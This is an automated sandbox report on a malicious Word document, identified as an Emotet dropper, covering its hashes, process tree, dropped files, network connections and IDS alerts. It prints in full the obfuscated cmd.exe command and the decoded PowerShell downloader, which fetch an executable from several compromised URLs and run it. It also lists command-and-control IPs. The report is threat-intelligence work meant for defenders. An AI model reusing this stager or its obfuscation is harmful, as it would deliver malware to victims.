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| File name: | O2_18_12_18.doc |
| Full analysis: | https://app.any.run/tasks/9607af48-4f33-4029-a92a-c1274a6a3d8b |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 18, 2018, 14:15:14 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 07:55:00 2018, Last Saved Time/Date: Tue Dec 18 07:55:00 2018, Number of Pages: 1, Number of Words: 3, Number of Characters: 22, Security: 0 |
| MD5: | 5BCF13283E270CB47F309B33A85E0129 |
| SHA1: | 4A35D27ED140616E7C390F9ABFE7675A43FE5F1C |
| SHA256: | FA2ED01853A46C9EF01021EE9AEB7109C8C0455F6458D9F0748AE9C608FFEACC |
| SSDEEP: | 768:wf4OEKjmW9/MqtBMENPOgHvgekSD6axz99Zk5Q+RqB2XwOxb6i+1o9:m7ljmW9/bvFn3Db3zH+VX75+a9 |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2968)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2968)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 2560)
Executes PowerShell scripts
- cmd.exe (PID: 2644)
Application was dropped or rewritten from another process
- 384.exe (PID: 3952)
- 384.exe (PID: 3132)
- archivesymbol.exe (PID: 3440)
- archivesymbol.exe (PID: 2768)
Downloads executable files from the Internet
- powershell.exe (PID: 2560)
EMOTET was detected
- archivesymbol.exe (PID: 3440)
Connects to CnC server
- archivesymbol.exe (PID: 3440)
Changes the autorun value in the registry
- archivesymbol.exe (PID: 3440)
SUSPICIOUS
Application launched itself
- cmd.exe (PID: 4084)
Executable content was dropped or overwritten
- powershell.exe (PID: 2560)
- 384.exe (PID: 3132)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 4084)
Creates files in the user directory
- powershell.exe (PID: 2560)
Starts itself from another location
- 384.exe (PID: 3132)
Connects to unusual port
- archivesymbol.exe (PID: 3440)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2968)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2968)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:12:18 07:55:00 |
| ModifyDate: | 2018:12:18 07:55:00 |
| Pages: | 1 |
| Words: | 3 |
| Characters: | 22 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 24 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
39
Monitored processes
8
Malicious processes
6
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2968 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\O2_18_12_18.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 4084 | c:\zBXFOYMnfAslX\BwYnWCZVt\jZbqNFLsH\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set Tlwk=;'voz'=jOv$}}{hctac}};kaerb;'tVp'=FPN$;TDc$ metI-ekovnI{ )00008 eg- htgnel.)TDc$ metI-teG(( fI;'Ucd'=Cst$;)TDc$ ,MSj$(eliFdaolnwoD.vbW${yrt{)LKw$ ni MSj$(hcaerof;'exe.'+uUn$+'\'+pmet:vne$=TDc$;'BjZ'=CNU$;'483' = uUn$;'Aho'=zCG$;)'@'(tilpS.'9LTmLS/moc.ehcuod-ecapse.www//:ptth@DnOX/gro.aciremagalf.www//:ptth@A/moc.npci//:ptth@6/moc.etiesebeil.www//:ptth@qfPVbU/moc.munihpled//:ptth'=LKw$;tneilCbeW.teN tcejbo-wen=vbW$;'JCE'=tQj$ llehsrewop&&for /L %S in (438,-1,0)do set Zy=!Zy!!Tlwk:~%S,1!&&if %S==0 call %Zy:~4%" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2644 | CmD /V:ON/C"set Tlwk=;'voz'=jOv$}}{hctac}};kaerb;'tVp'=FPN$;TDc$ metI-ekovnI{ )00008 eg- htgnel.)TDc$ metI-teG(( fI;'Ucd'=Cst$;)TDc$ ,MSj$(eliFdaolnwoD.vbW${yrt{)LKw$ ni MSj$(hcaerof;'exe.'+uUn$+'\'+pmet:vne$=TDc$;'BjZ'=CNU$;'483' = uUn$;'Aho'=zCG$;)'@'(tilpS.'9LTmLS/moc.ehcuod-ecapse.www//:ptth@DnOX/gro.aciremagalf.www//:ptth@A/moc.npci//:ptth@6/moc.etiesebeil.www//:ptth@qfPVbU/moc.munihpled//:ptth'=LKw$;tneilCbeW.teN tcejbo-wen=vbW$;'JCE'=tQj$ llehsrewop&&for /L %S in (438,-1,0)do set Zy=!Zy!!Tlwk:~%S,1!&&if %S==0 call %Zy:~4%" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2560 | powershell $jQt='ECJ';$Wbv=new-object Net.WebClient;$wKL='http://delphinum.com/UbVPfq@http://www.liebeseite.com/6@http://icpn.com/A@http://www.flagamerica.org/XOnD@http://www.espace-douche.com/SLmTL9'.Split('@');$GCz='ohA';$nUu = '384';$UNC='ZjB';$cDT=$env:temp+'\'+$nUu+'.exe';foreach($jSM in $wKL){try{$Wbv.DownloadFile($jSM, $cDT);$tsC='dcU';If ((Get-Item $cDT).length -ge 80000) {Invoke-Item $cDT;$NPF='pVt';break;}}catch{}}$vOj='zov'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3952 | "C:\Users\admin\AppData\Local\Temp\384.exe" | C:\Users\admin\AppData\Local\Temp\384.exe | — | powershell.exe |
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 | ||||
| 3132 | "C:\Users\admin\AppData\Local\Temp\384.exe" | C:\Users\admin\AppData\Local\Temp\384.exe | 384.exe | |
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 | ||||
| 2768 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 384.exe |
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 | ||||
| 3440 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | |
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Version: 8.00.0.010 | ||||
Total events
1 779
Read events
1 296
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
0
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2968 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6B2E.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2968 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9DC6EB6C.wmf | — | |
MD5:— | SHA256:— | |||
| 2968 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D8A5A05A.wmf | — | |
MD5:— | SHA256:— | |||
| 2560 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2H75WTKBQQQVDTXF6IKW.temp | — | |
MD5:— | SHA256:— | |||
| 2968 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F29FF157.wmf | wmf | |
MD5:8E66B55BD66B71A1CD8D19B2784D48E5 | SHA256:6D2F759299D299A37DBB1EE3FFB7ABD6C39E639ED1BD871556D14B770ECBF01A | |||
| 3132 | 384.exe | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | executable | |
MD5:059023098F79F8401498C6015991F77A | SHA256:AE797BE3820A34281F860E9F8AE85743DD62F3DED25BB5DFF1681153EA1F535F | |||
| 2968 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:6474936BCF9E0E40D986D76CB8B97569 | SHA256:A429E08BF13A763B1E1B56C70E9C488FD3A3D63556417F9C15A5F53B8F3D1253 | |||
| 2560 | powershell.exe | C:\Users\admin\AppData\Local\Temp\384.exe | executable | |
MD5:059023098F79F8401498C6015991F77A | SHA256:AE797BE3820A34281F860E9F8AE85743DD62F3DED25BB5DFF1681153EA1F535F | |||
| 2968 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$_18_12_18.doc | pgc | |
MD5:377895AECCE7B5FBD077F2679F4D64BD | SHA256:755DA1F27D670F8CC7EAE3F16946DAB57BD8E60654EDA637FFB8A709FCCEE5A6 | |||
| 2560 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
7
DNS requests
5
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2560 | powershell.exe | GET | 301 | 192.185.77.75:80 | http://icpn.com/A | US | html | 284 b | malicious |
3440 | archivesymbol.exe | GET | — | 61.1.33.229:80 | http://61.1.33.229/ | IN | — | — | malicious |
3440 | archivesymbol.exe | GET | — | 217.173.64.242:443 | http://217.173.64.242:443/ | RU | — | — | suspicious |
2560 | powershell.exe | GET | 200 | 192.185.77.75:80 | http://icpn.com/A/ | US | executable | 124 Kb | malicious |
2560 | powershell.exe | GET | 403 | 81.19.145.40:80 | http://www.liebeseite.com/6 | AT | html | 322 b | malicious |
3440 | archivesymbol.exe | GET | 200 | 138.37.47.17:22 | http://138.37.47.17:22/ | GB | binary | 132 b | malicious |
2560 | powershell.exe | GET | 403 | 81.88.48.95:80 | http://delphinum.com/UbVPfq | IT | xml | 2.42 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2560 | powershell.exe | 81.88.48.95:80 | delphinum.com | Register.it SpA | IT | suspicious |
2560 | powershell.exe | 192.185.77.75:80 | icpn.com | CyrusOne LLC | US | malicious |
2560 | powershell.exe | 81.19.145.40:80 | www.liebeseite.com | World4You Internet Services GmbH | AT | suspicious |
3440 | archivesymbol.exe | 217.173.64.242:443 | — | OOO WestCall Ltd. | RU | suspicious |
3440 | archivesymbol.exe | 138.37.47.17:22 | — | Queen Mary and Westfield College, University of London | GB | malicious |
3440 | archivesymbol.exe | 181.48.61.138:20 | — | Telmex Colombia S.A. | CO | malicious |
3440 | archivesymbol.exe | 61.1.33.229:80 | — | National Internet Backbone | IN | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
delphinum.com |
| malicious |
www.liebeseite.com |
| malicious |
icpn.com |
| malicious |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2560 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2560 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
2560 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2560 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2560 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2560 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2560 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3440 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
3440 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
3440 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2 ETPRO signatures available at the full report